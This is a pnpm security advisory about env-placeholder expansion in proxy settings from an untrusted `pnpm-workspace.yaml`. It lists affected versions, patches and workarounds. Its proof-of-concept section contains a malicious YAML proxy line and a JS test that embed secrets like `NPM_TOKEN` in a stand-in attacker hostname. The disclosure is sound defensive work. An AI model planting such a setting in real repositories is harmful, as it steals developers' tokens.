GHSA-vx52-2968-3vc6

## Summary

pnpm expands `${VAR}` environment placeholders in the `httpProxy` / `httpsProxy` / `noProxy` settings read from a project's `pnpm-workspace.yaml`. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or `GITHUB_TOKEN`.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for `registry`, `pnprServer`, `registries` and `namedRegistries` when they come from an untrusted project manifest, and the sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

## Impact

An attacker who controls only the contents of a repository's `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, `node_modules`, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

## Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

- pnpm 11.x: `>= 11.0.0, < 11.11.0` - pnpm 10.x: `>= 10.7.0, < 10.34.5`

The Rust port (`pacquet`) and the registry server (`pnpr`) are **not** affected.

## Patches

- **pnpm 11.11.0** and later - **pnpm 10.34.5** and later

The fix adds `httpProxy`, `httpsProxy`, `noProxy`, `proxy` and `noproxy` to the request-destination key set in `@pnpm/config.reader` (`src/getOptionsFromRootManifest.ts`), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing `registry` / `pnprServer` handling and the `.npmrc` reader's `isRequestDestinationValueKey`. Regression tests cover the proxy keys.

## Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's `pnpm-workspace.yaml` for proxy settings before installing.

## Proof of concept

```yaml # pnpm-workspace.yaml in an untrusted repository packages: - . httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080" ```

With `NPM_TOKEN` set in the victim's environment, `pnpm install` expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

```js process.env.PNPM_TEST_TOKEN = 'secret' const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' }) // Vulnerable: o.httpsProxy === 'http://secret.evil/' // Patched: o.httpsProxy === undefined ```

Using `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

## Credit

Reported privately. A second finding in the original report — the `Authorization` header being retained across a same-host `https` -> `http` redirect — was assessed and is **not** treated as a pnpm vulnerability: npm (`make-fetch-happen`, `minipass-fetch`), Yarn (`got`) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.